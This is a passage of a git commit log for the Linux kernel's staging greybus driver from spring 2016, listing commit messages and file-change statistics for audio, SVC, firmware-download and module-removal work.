drivers/staging/greybus/greybus_protocols.h | 8 +------ drivers/staging/greybus/interface.c | 15 ------------ drivers/staging/greybus/interface.h | 3 --- 6 files changed, 1 insertion(+), 62 deletions(-) commit c77f85bbc91acafeafd4143a23a225fe81c7e294 Author: Dinko Mironov Date: Thu May 5 19:58:22 2016 +0300 greybus: audio: Fix incorrect counting of 'ida' Function gb_audio_manager_remove_all() to remove all audio modules, doesn't control correctly 'ida' counting. Signed-off-by: Dinko Mironov Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_manager.c | 1 + 1 file changed, 1 insertion(+) commit ee2f2074fdb20d4939c943d0372f3751d833dedf Author: Mitchell Tasman Date: Wed May 4 17:30:23 2016 -0400 greybus: svc: reconfig APBridgeA-Switch link to handle required load SW-4894, SW-4389, and share a common root cause, namely that the power-on reset configuration of the APBridgeA-Switch link of PWM Gear 1, 1 Lane, Slow Auto, is insufficient to handle some required traffic loads, such as 3 audio streams plus boot-over-UniPro or 4 audio streams. The correct long-term solution is to implement a UniPro Power Mode Manager as in that considers the demands placed on the network, and adjusts power modes accordingly. The present commit implements a short-term, brute-force hack to allow continued system testing: - Upon receiving an SVC HELLO request, schedule deferred work to reconfigure the APB1-Switch link to PWM G2, 1 lane, Slow Auto - When the Camera driver transitions a White Camera module from active to inactive, return the APB1-Switch link to PWM G2, 1 lane, Slow Auto The Camera driver already steps up the APBridgeA-Camera link speed while a camera module is active, which affords sufficient margin for simultaneous audio and hotplug activity, and the Camera driver already steps down the link speed thereafter: the change made by the present patch is simply to tweak the stepped-down power mode to match the new baseline configuration. Signed-off-by: Mitchell Tasman Tested-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 4 ++-- drivers/staging/greybus/svc.c | 36 +++++++++++++++++++++++++++++++++++- 2 files changed, 37 insertions(+), 3 deletions(-) commit 3e29bcf4b148b8983dcb30faec0b59f681eabe9e Author: Sandeep Patil Date: Wed May 4 16:21:29 2016 -0700 greybus: core: add MODULE uevent var for all control devices The new ctrl device under interface is missing a MODULE uevent var, add it. Testing Done: cat 'uevent' from ctrl device. $ cat 1-3.3.ctrl/uevent DEVTYPE=greybus_control BUS=1 MODULE=3 INTERFACE=3 GREYBUS_ID=fffe0001/ffee0011 Signed-off-by: Sandeep Patil Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 1 + 1 file changed, 1 insertion(+) commit c81b1ec7853d083981b6edd1d7397d94b88dd597 Author: Viresh Kumar Date: Tue May 3 16:13:12 2016 +0530 greybus: bootrom: Implement timeouts to detect Module failures Its possible that the Module may fail to download the next stage firmware, or to jump into it and boot into the new personality. We have already seen examples of both of these cases on EVT 1.5. This patch implements timeouts in the bootrom bundle driver, which now expects the next request from the Module to be received at the AP within 1 second of the previous request/response. The time interval can be increased later if required. The timeouts are added between: - AP_READY and FIRMWARE_SIZE operations - FIRMWARE_SIZE and GET_FIRMWARE operations - Two GET_FIRMWARE operations - GET_FIRMWARE and READY_TO_BOOT operations - READY_TO_BOOT operation and the call to the ->disconnect() event of the bootrom bundle (once the new hotplug request is received). The timeout for the last case is kept at 5 seconds right now (random value), as it may take a bit longer. Because 'bootrom->fw' can be accessed simultaneously (from timeout handler and incoming requests) and one of them can potentially free the '->fw' structure, a mutex is also added to take care of such races while accessing 'bootrom->fw' structure. Also note that the '!bootrom->fw' check is moved to free_firmware() routine. Tested on EVT 1.5, by faking errors on certain requests, so that the bootrom doesn't send any more requests. Normal case is working just fine for audio and GP modules. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/bootrom.c | 124 ++++++++++++++++++++++++++++++++------ 1 file changed, 105 insertions(+), 19 deletions(-) commit 0634874a584e8bd875a83850c656e5adefc53bde Author: Vaibhav Agarwal Date: Wed May 4 16:29:24 2016 +0530 greybus: audio: Use standard API to set connections' private data Use standard API greybus_set_drvdata() while setting private data pointers for mgmt & data connection. Signed-off-by: Vaibhav Agarwal Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_module.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit c188fdc8176a8cb18b5d81cccac590311251208e Author: Vaibhav Agarwal Date: Wed May 4 16:29:23 2016 +0530 greybus: audio: Reduce codec->lock granularity Earlier codec->lock protects almost complete register/unregister module function. This can be reduced to specific operations. Signed-off-by: Vaibhav Agarwal Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) commit bb9986ef6b311fb3f4de2150bd050c1d9e1d9d65 Author: Vaibhav Agarwal Date: Wed May 4 16:29:22 2016 +0530 greybus: audio: Reorganize sequence in GB audio bundle & codec driver Modify sequence of register_module & unregister_module in bundle driver. This would affect the uevent generated for above user space. Accordingly, we need to modify snd_soc_xxx sequence in register_module() in codec driver. Signed-off-by: Vaibhav Agarwal Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 34 +++++++++++++++------------------- drivers/staging/greybus/audio_module.c | 21 +++++++++++---------- 2 files changed, 26 insertions(+), 29 deletions(-) commit 852859ab8186e7a492fdec5db5ef219bf625c21a Author: Vaibhav Agarwal Date: Wed May 4 16:29:21 2016 +0530 greybus: audio: Remove redundant lock protection & is_connected field Each module maintains connected status & a lock to protect it. Using codec->lock we can safely serialize ASoC specific callbacks (in response to mixer_ctl update or dai_ops) and gb module disconnect. Thus is_connected field can be removed. Signed-off-by: Vaibhav Agarwal Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 56 ---------------------------------- drivers/staging/greybus/audio_codec.h | 2 -- drivers/staging/greybus/audio_module.c | 9 ------ 3 files changed, 67 deletions(-) commit e6ab7a154c5dbfc0ad08bf1570efea22f2c7ee6c Author: Vaibhav Agarwal Date: Wed May 4 16:29:20 2016 +0530 greybus: audio: Cleanup GB Audio bundle driver. Remove unnecessary lock & list maintained in GB audio bundle driver Signed-off-by: Vaibhav Agarwal Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_module.c | 13 +------------ 1 file changed, 1 insertion(+), 12 deletions(-) commit 84e0e38744c5d814650e4acec34cea585d04cc96 Author: Vaibhav Agarwal Date: Wed May 4 16:29:19 2016 +0530 greybus: audio:gb_manager: Use proper locking around kobject_xxx read/write_lock_irqsave mechanism was used to protect modules list & kobject_xxx() in gb_audio_manager. Since kobject_xxx calls can sleep spin_lock variants can't be used there. So use rw_sem for protecting modules_list. Signed-off-by: Vaibhav Agarwal Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_manager.c | 37 +++++++++++++-------------------- 1 file changed, 15 insertions(+), 22 deletions(-) commit 7557d0481bdeed86780c073e591df0330ec88a9e Author: Viresh Kumar Date: Mon May 2 10:51:49 2016 +0530 greybus: fw-download: Create a macro for length of firmware file's name Create a macro representing the length of the firmware file's name and use that instead of using magic number in the code. Suggested-by: Greg Kroah-Hartman Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/fw-download.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit cca22207673896262443c72f19b049552d65f88e Author: Viresh Kumar Date: Thu Apr 28 10:06:38 2016 +0530 greybus: firmware: Add firmware-download protocol driver This patch adds Firmware Download Protocol support to firmware core, which allows an Interface to download a firmware package over Unipro. Signed-off-by: Viresh Kumar Reviewed-by: Jun Li Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 2 +- drivers/staging/greybus/firmware.h | 20 ++ drivers/staging/greybus/fw-core.c | 37 +++- drivers/staging/greybus/fw-download.c | 299 ++++++++++++++++++++++++++++ drivers/staging/greybus/greybus_protocols.h | 37 ++++ 5 files changed, 392 insertions(+), 3 deletions(-) commit 7adb32b429ce38bae39e277ae2cc37c93770104f Author: Johan Hovold Date: Fri Apr 29 17:08:37 2016 +0200 greybus: operation: fix definition of the invalid type The invalid request type has been redefined as 0x7f. Also remove the redundant redefinition of the invalid type from the operation header. Note that operation type 0x00 has been repurposed for the new generic ping operation, which will be used to implement proper connection tear down. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 4 ++-- drivers/staging/greybus/operation.c | 12 +++++++----- drivers/staging/greybus/operation.h | 6 ------ 3 files changed, 9 insertions(+), 13 deletions(-) commit a2cf2e594626ce8c1e6944f6a44a7d481b84b82d Author: Johan Hovold Date: Fri Apr 29 17:08:36 2016 +0200 greybus: svc: define the version request Define the SVC version request, which need not need to stay the same as the legacy version request. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 14 ++++++++++---- drivers/staging/greybus/svc.c | 8 ++++---- 2 files changed, 14 insertions(+), 8 deletions(-) commit b1f8bfea65183b4575e3dde64641f7340a3dfa38 Author: Johan Hovold Date: Fri Apr 29 17:08:35 2016 +0200 greybus: loopback: remove unsupported version request Remove the unsupported version request from the loopback-driver request handler. Unsupported requests are already handled and logged using the default case. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 3 --- 1 file changed, 3 deletions(-) commit 1c3aead12ea4df73b7ae552aa4f4e83bc1f0baa6 Author: Johan Hovold Date: Fri Apr 29 17:08:34 2016 +0200 greybus: control: implement mode-switch operation Implement the unidirectional mode-switch operation. This operation will be used in the implementation of the new generic mode-switch functionality. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/control.c | 7 +++++++ drivers/staging/greybus/control.h | 1 + drivers/staging/greybus/greybus_protocols.h | 1 + 3 files changed, 9 insertions(+) commit 5fdc027d5441aecb94ce44de0402bdec3a731de8 Author: Johan Hovold Date: Fri Apr 29 17:08:33 2016 +0200 greybus: operation: add helper functions for unidirectional operations Add helper functions for initiating unidirectional operations and waiting for them to have been acknowledged as sent by the host device. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 47 +++++++++++++++++++++++++++++++++++++ drivers/staging/greybus/operation.h | 10 ++++++++ 2 files changed, 57 insertions(+) commit 3e2ee2c1e50541b611087be9e2e55b8f77477cf6 Author: Johan Hovold Date: Fri Apr 29 17:08:32 2016 +0200 greybus: operation: add support for initiating unidirectional operations Add support for initiating unidirectional operations, that is, sending requests that do not require responses. Note that we already handle incoming unidirectional operations. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 38 ++++++++++++++++++++++++++----------- drivers/staging/greybus/operation.h | 3 ++- 2 files changed, 29 insertions(+), 12 deletions(-) commit 613c15e86b7ac30cb3e3f16e13ee367845a941b2 Author: Johan Hovold Date: Fri Apr 29 17:08:31 2016 +0200 greybus: operation: update gb_operation_request_send() documentation Fix and update gb_operation_request_send() documentation and add kernel-doc formatting. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 21 ++++++++++++++------- 1 file changed, 14 insertions(+), 7 deletions(-) commit 410abddb0389aa1e456f980b336eb20948ccce51 Author: Johan Hovold Date: Fri Apr 29 17:08:30 2016 +0200 greybus: fix outdated kernel-doc comment Update the function name, which has gained a timeout suffix. Also fix the kernel-doc formatting. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit cca69fabeb715777c612f4223c91a2eca8f99c3a Author: Johan Hovold Date: Fri Apr 29 17:08:29 2016 +0200 greybus: interface: remove unused prototype Remove unused function prototype that was left after a recent change. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.h | 3 --- 1 file changed, 3 deletions(-) commit 16ba59cedf070a28dfd84d4f3713a9494f50fe4a Author: Sandeep Patil Date: Fri Apr 29 07:13:25 2016 -0700 greybus: Documentation/sysfs: fix sysfs paths correct sysfs paths typo. (s/device/devices). Signed-off-by: Sandeep Patil Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman .../greybus/Documentation/sysfs-bus-greybus | 58 +++++++++++----------- 1 file changed, 29 insertions(+), 29 deletions(-) commit dc9e9cf450fb22ad8d4836bc2879ad3428a1b4eb Author: Sandeep Patil Date: Fri Apr 29 07:13:24 2016 -0700 greybus: Documentation/sysfs: add entry for host device bus_id Add description for greybus host device bus_id attribute Signed-off-by: Sandeep Patil Reviewed-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Documentation/sysfs-bus-greybus | 7 +++++++ drivers/staging/greybus/Documentation/sysfs/greybus1/bus_id | 1 + drivers/staging/greybus/Documentation/sysfs/greybus2/bus_id | 1 + 3 files changed, 9 insertions(+) commit fbbd2b7c0876550b20c6ac0ee2df90ecc262712c Author: Sandeep Patil Date: Fri Apr 29 07:13:23 2016 -0700 greybus: hd: add bus_id attribute The greybus host device id can only be read by parsing the uevent if one wants to identify a specific host device 'or' bus. This is 'lsgb' uses today. This change adds a bus_id attribute so libraries can identify multiple host devices 'or' bus if they exist. Testing Done: Tested on Arche, 'cat /sys/bus/greybus/devices/greysbus1/bus_id' Signed-off-by: Sandeep Patil Reviewed-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/hd.c | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) commit 6ddbed576606a454353638dbbbcc2f66f0fc712d Author: Johan Hovold Date: Thu Apr 28 16:19:39 2016 +0200 greybus: interface: fix broken UniPro flow control A recent commit inadvertently disabled E2EFC on all interface connections, due to a failure to clear the ES3 bootrom quirk flags during mode switch. Testing Done: Verified that the CPort flags are again set to 0x7 for non-bootrom interface connections. Fixes: 5b638080e94e ("svc: keep interfaces registered during mode switch") Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 3 +++ 1 file changed, 3 insertions(+) commit 9e04fb7b1627ad55b63c4e0927f696ecb1a2563a Author: Viresh Kumar Date: Tue Apr 26 10:20:49 2016 +0530 greybus: firmware: Add firmware management bundle driver All firmware packages on the Modules or Interfaces are now managed by a special Firmware Management Protocol. The Interface Manifest shall at least contain the Firmware Management Bundle and a Firmware Management Protocol CPort within it. The bundle may contain additional CPorts based on the extra functionality required to manage firmware packages. For example, this is how the Firmware Management Bundle of the Interface Manifest may look like: ; Firmware Management Bundle (Bundle 1): [bundle-descriptor 1] class = 0x16 ; (Mandatory) Firmware Management Protocol on CPort 1 [cport-descriptor 1] bundle = 1 protocol = 0x18 ; (Optional) Firmware Download Protocol on CPort 2 [cport-descriptor 2] bundle = 1 protocol = 0x17 ; (Optional) SPI protocol on CPort 3 [cport-descriptor 3] bundle = 1 protocol = 0x0b ; (Optional) Component Authentication Protocol (CAP) on CPort 4 [cport-descriptor 4] bundle = 1 protocol = 0xXX //TBD This patch adds the basic firmware-management bundle driver, which just creates a firmware-management connection. Support for individual protocols will be added separately. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 2 + drivers/staging/greybus/fw-core.c | 123 +++++++++++++++++++++++++++++ drivers/staging/greybus/greybus_manifest.h | 3 + 3 files changed, 128 insertions(+) commit 05ab5f0daa524915176d170f3873b97ad10d7c43 Author: Vaibhav Agarwal Date: Wed Apr 13 09:53:39 2016 +0530 greybus: audio: Identify jack type based on attributes reported Originally, idea was to use widget_type to identify jack_type. However, suggestive way is to identify jack based on jack attributes. Changes already exists in codec FW to report jack attributes. Signed-off-by: Vaibhav Agarwal Reviewed-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_module.c | 15 +++------------ 1 file changed, 3 insertions(+), 12 deletions(-) commit 475f498bcedb15634ca041b4eea2c58622558e03 Author: Vaibhav Agarwal Date: Wed Apr 13 09:53:38 2016 +0530 greybus: audio: Rename widget_type to jack_attrubute This fields actually populates jack attribute. Thus, renamed to reflect the real purpose. Signed-off-by: Vaibhav Agarwal Reviewed-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 54e9070b24def1dfaf07e78fee6ea18f7ff57bcc Author: Vaibhav Agarwal Date: Sat Apr 23 20:04:05 2016 +0530 greybus: audio: Reorder gb_deactivate sequence to avoid protocol error gb_activate_tx/rx is triggered from _prepare() & gb_deactivate from shutdown(). This may cause protocol error in case shutdown executes without _prepare due to some hw_params failure. Also, reorganise _prepare & _shutdown calls to make it more readable & cleaner. Signed-off-by: Vaibhav Agarwal Reviewed-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 267 ++++++++++++++++++++++------------ 1 file changed, 171 insertions(+), 96 deletions(-) commit 2b8c2b51000e3d056f9aa27a64b93feabddf77a4 Author: Vaibhav Agarwal Date: Thu Apr 21 22:14:02 2016 +0530 greybus: audio: Changes in response to ASoC cleanup Update Makefile in response to SND_SOC_DYNAMIC_DAILINK cflag removal. Update files for msm-dynamic-dailink.h header file removal. Update in response to API name changes. Also, acquire sound card controls_rwsem before adding kcontrols to avoid deadlock. Signed-off-by: Vaibhav Agarwal Reviewed-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 6 ++---- drivers/staging/greybus/audio_codec.c | 11 +++++++++-- drivers/staging/greybus/audio_module.c | 1 - 3 files changed, 11 insertions(+), 7 deletions(-) commit dc0f0285f80558e800411d583de71358a581dfae Author: Viresh Kumar Date: Mon Apr 25 21:50:36 2016 +0530 greybus: Bundle: Initialize dma_mask for bundle device We missed this only for bundle device, fix it. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/bundle.c | 1 + 1 file changed, 1 insertion(+) commit 9983ea6b766aa701707e50c4b767ca892ee9ba7d Author: David Lin Date: Fri Apr 22 19:03:43 2016 -0700 greybus: svc: free pwrmon_rails memory upon exit For every time SVC instance is created, memories for storing the rail IDs are allocated, however, they are not freed when the SVC is destroyed. This patch fixes the memory leak by freeing the memory when debugfs for SVC is no longer needed. Testing Done: - Check pwrmon debugfs after turning on and off SVC Signed-off-by: David Lin Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 2 ++ 1 file changed, 2 insertions(+) commit 3fd747a63e836baab1739bab7f18d9227a083312 Author: David Lin Date: Fri Apr 22 19:03:42 2016 -0700 greybus: svc: clean up gb_svc struct for pwrmon The power rail names and counts are unnecessarily stored in the gb_svc structure once the SVC created, this causes waste of memory usage. This patch removes rail names and rail counts storage from th gb_svc structure. Testing Done: - Validated the readings from /d/greybus/1-svc/pwrmon/* Signed-off-by: David Lin Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 27 ++++++++++++++------------- drivers/staging/greybus/svc.h | 2 -- 2 files changed, 14 insertions(+), 15 deletions(-) commit b482b0d6f099e282c7499b5b1a3a69747bf4fa8b Author: Johan Hovold Date: Sat Apr 23 18:47:31 2016 +0200 greybus: svc: implement interface mailbox event Implement the new interface mailbox-event operation. The event is sent by the SVC under certain conditions when an interface updates its mailbox value. Specifically, this event will be used to implement the new mode-switch functionality. Upon reception the AP verifies that the interface is known and that the mailbox has the expected MAILBOX_GREYBUS value. If so, the interface is disabled before being re-enabled (re-enumerated). Note that during mode-switch, the interface will typically already be in a disabled state when the mailbox is written (with the ES3 bootrom being the notable exception). Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 13 ++++ drivers/staging/greybus/svc.c | 96 +++++++++++++++++++++++++++++ 2 files changed, 109 insertions(+) commit 22bb9380d620b9632fb47220133ee6ab3fd36f22 Author: Johan Hovold Date: Sat Apr 23 18:47:30 2016 +0200 greybus: svc: implement module inserted and removed operations Implement the new module inserted and removed operations. The SVC sends these after detecting a module insertion or removal, and in the former case after having determined the module geometry (i.e. position and size). Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 16 ++++ drivers/staging/greybus/svc.c | 124 ++++++++++++++++++++++++++++ 2 files changed, 140 insertions(+) commit ec562f28a7de6a4a4c3f790e5cfb5e61e97419b5 Author: Johan Hovold Date: Sat Apr 23 18:47:29 2016 +0200 greybus: interface: implement interface activation and power down Implement the interface activation and power-down sequences. Note that all the required SVC operations have not yet been implemented so some stub functions are used for now. Support for hibernating the UniPro link depends on future power-management work so a stub function is used also for this. Interface type handling will be refined later. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 124 +++++++++++++++++++++++++++++++++++- 1 file changed, 122 insertions(+), 2 deletions(-) commit 1e8e22b5cb462e9c4da9c988b3355565cdef1d34 Author: Johan Hovold Date: Sat Apr 23 18:47:28 2016 +0200 greybus: svc: add stub interface-activate function Add message structures (based on the current spec) for the SVC Interface Activate operation, and a stub function that always return the Greybus interface type. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 14 ++++++++++++++ drivers/staging/greybus/svc.c | 9 +++++++++ drivers/staging/greybus/svc.h | 1 + 3 files changed, 24 insertions(+) commit 017482b28decd5b72da2c6c661249e512e6665a8 Author: Johan Hovold Date: Sat Apr 23 18:47:27 2016 +0200 greybus: svc: add stub functions for v_sys, refclk and unipro Add stub functions for v_sys, refclk and unipro resource management. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 21 +++++++++++++++++++++ drivers/staging/greybus/svc.h | 3 +++ 2 files changed, 24 insertions(+) commit 1e1565e5fee47362baee92506749d80167a1456e Author: Johan Hovold Date: Sat Apr 23 18:47:26 2016 +0200 greybus: interface: add active state flag Add active state flag to avoid deactivating an interface which is already off. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 7 +++++++ drivers/staging/greybus/interface.h | 1 + 2 files changed, 8 insertions(+) commit 36602a2981c85de7b0b8600eb12cbad3d80eacd9 Author: Johan Hovold Date: Sat Apr 23 18:47:25 2016 +0200 greybus: module: implement controlled module removal Implement controlled module removal through a new module attribute "eject". When a non-zero argument is written to the attribute, all interfaces of the module are disabled (e.g. bundles are deregistered) and deactivated (e.g. powered off) before instructing the SVC to physically eject the module. Note that the module device is not deregistered until the SVC has reported the physical removal of all of its interfaces. A new interface mutex is added to enforce interface state-change serialisation. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman .../greybus/Documentation/sysfs-bus-greybus | 8 ++++ drivers/staging/greybus/interface.c | 22 +++++++++- drivers/staging/greybus/interface.h | 3 ++ drivers/staging/greybus/module.c | 48 +++++++++++++++++++++- drivers/staging/greybus/svc.c | 4 ++ 5 files changed, 83 insertions(+), 2 deletions(-) commit b15d97d77017dc168c74c5e9aacfe14ff74dcbe9 Author: Johan Hovold Date: Sat Apr 23 18:47:24 2016 +0200 greybus: core: add module abstraction Add Greybus module abstraction that will be used to implement controlled module removal (eject) and represent module geometry. Greybus module devices correspond to physical modules and have one or more interfaces. Modules have an id that is identical to the id of their primary interface, which in turn is the interface with lowest numbered id. The module name is constructed from the bus and module id: - Interfaces, bundles, and control devices are consequently renamed as -. -.. -..ctrl As before, interface ids (and therefore in a sense now also module ids) correspond to physical interface positions on the frame. Modules have the following attributes: module_id num_interfaces where module_id is the id of the module and num_interface the number of interfaces the module has. Note that until SVC module-size detection has been implemented, all interfaces are considered to be part of 1x2 modules. Specifically, the two interfaces of a 2x2 module will be presented as two 1x2 modules for now. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman .../greybus/Documentation/sysfs-bus-greybus | 63 +++++--- drivers/staging/greybus/Makefile | 1 + drivers/staging/greybus/core.c | 11 ++ drivers/staging/greybus/greybus.h | 7 + drivers/staging/greybus/hd.c | 2 +- drivers/staging/greybus/hd.h | 2 +- drivers/staging/greybus/interface.c | 40 ++--- drivers/staging/greybus/interface.h | 8 +- drivers/staging/greybus/module.c | 178 +++++++++++++++++++++ drivers/staging/greybus/module.h | 34 ++++ drivers/staging/greybus/svc.c | 83 +++++----- 11 files changed, 333 insertions(+), 96 deletions(-) commit 844fcbfeb6491d95b7e19b4705f9eb576a210536 Author: Johan Hovold Date: Sat Apr 23 18:47:23 2016 +0200 greybus: svc: refactor interface re-enable Add interface re-enable helper that is used during mode switch to disable and re-enable (enumerate) an interface. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 26 +++++++++++++++++++------- 1 file changed, 19 insertions(+), 7 deletions(-) commit deba0c03e9c12e2053ad5241c2fd59276439f2cd Author: Johan Hovold Date: Sat Apr 23 18:47:22 2016 +0200 greybus: Documentation/sysfs: sort entries alphabetically The attribute entries have been kept mostly sorted within each device type. Let's move the three more-recently added interface attributes that were not. Suggested-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman .../greybus/Documentation/sysfs-bus-greybus | 36 +++++++++++----------- 1 file changed, 18 insertions(+), 18 deletions(-) commit 4ff80a59ac3bbdacaf93598eed396677f29c4673 Author: Johan Hovold Date: Sat Apr 23 18:47:21 2016 +0200 greybus: Documentation/sysfs: add entry for control device Add an entry for the recently added interface control device. Also move the bundle-device entry below the control-device entries. Reported-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Documentation/sysfs-bus-greybus | 14 +++++++++++--- 1 file changed, 11 insertions(+), 3 deletions(-) commit 12185197eac3355c7c7c7bce0e81b0c65baa3010 Author: Johan Hovold Date: Sat Apr 23 18:47:20 2016 +0200 greybus: svc: use a common prefix for debugfs functions Use the common gb_svc functions also for the recently added svc functions. Having a common prefix clearly signals where the code resides, something which improves readability and helps during debugging (e.g. stack traces). Note that all functions in svc.c except for these three use the common prefix with the exception of the pwr_debugfs callbacks (that still use *a* common prefix) and the attribute accessors (than can not have a common prefix due to some macro magic). Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit d7ed7cbfe695d0a77613b305bed0483a1c9569ca Author: Vaibhav Agarwal Date: Mon Apr 25 17:18:17 2016 +0530 greybus: audio: acquire wakelock during active playback This change was missed while merging original patch commit-id: 53c765c33f4a69c31027ec012e717d303bd4feca Thus submitting it again. Signed-off-by: Vaibhav Agarwal Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 1 + 1 file changed, 1 insertion(+) commit 7b62b61c752a4700ecf11d63a7ec40aeb3cee66c Author: Viresh Kumar Date: Wed Apr 20 11:48:37 2016 +0530 greybus: arche-ctrl: Don't expose driver internals to arche-platform driver We have chosen the *ugly* way of registering two platform drivers from the module_init() of only one of them, so that we can avoid having two separate modules for them. But we should still be doing this in a sane way. There is no need to expose internals of arche-ctrl to arche-platform, like PM-ops, probe, resume, id-table, etc. Just expose an init and a exit callback. Signed-off-by: Viresh Kumar Reviewed-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-apb-ctrl.c | 34 +++++++++++++++++++++++++++----- drivers/staging/greybus/arche-platform.c | 19 ++---------------- drivers/staging/greybus/arche_platform.h | 7 ++----- 3 files changed, 33 insertions(+), 27 deletions(-) commit f2bf63a365425fa7df56c4e1dbe5a6bb29680324 Author: Vaibhav Agarwal Date: Fri Apr 22 11:13:19 2016 -0700 greybus: audio: acquire wakelock during active playback use pm_stay_awake & pm_relax to avoid suspend sequence during active playback testing Done: Music Playback ongoing $ cat /sys/devices/soc.0/qcom,ara-codec.82/power/wakeup_active 1 Music Playback stopped $ cat /sys/devices/soc.0/qcom,ara-codec.82/power/wakeup_active 0 Tested-by: David Lin Reviewed-by: David Lin Reviewed-by: Viresh Kumar Signed-off-by: Akash Choudhari Signed-off-by: Vaibhav Agarwal drivers/staging/greybus/audio_codec.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) commit f35fdb2fbdc9435b723775b6aa561590413131c6 Author: Johan Hovold Date: Thu Apr 21 11:43:38 2016 +0200 greybus: svc: fix function-parameter indentation We really shouldn't be passing response structures around this way, but since we now are, let's at least make sure not to break the 80 col limit. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 5b35ef95ef9b71406db3fe860b8ce8206b6576c7 Author: Johan Hovold Date: Thu Apr 21 11:43:37 2016 +0200 greybus: svc: fix pwrmon return value Errno -ENOSYS is reserved for missing syscalls, replace it with ENOMSG. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 89f2df438b20f2176fcc8fc92201a708f0d3659b Author: Johan Hovold Date: Thu Apr 21 11:43:36 2016 +0200 greybus: svc: keep error messages uniform All SVC error messages, except for a few recently added ones, place the errno last after a colon (:). Let's at least try to be consistent within the svc code. Note that this format also allows for more concise messages without risk for ambiguity. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) commit 2437f1c6b582d1d676c08b6069859c11266c69da Author: Viresh Kumar Date: Thu Apr 21 11:31:16 2016 +0530 greybus: es2: move ap_disconnect() below ap_probe() This makes it more readable, as the 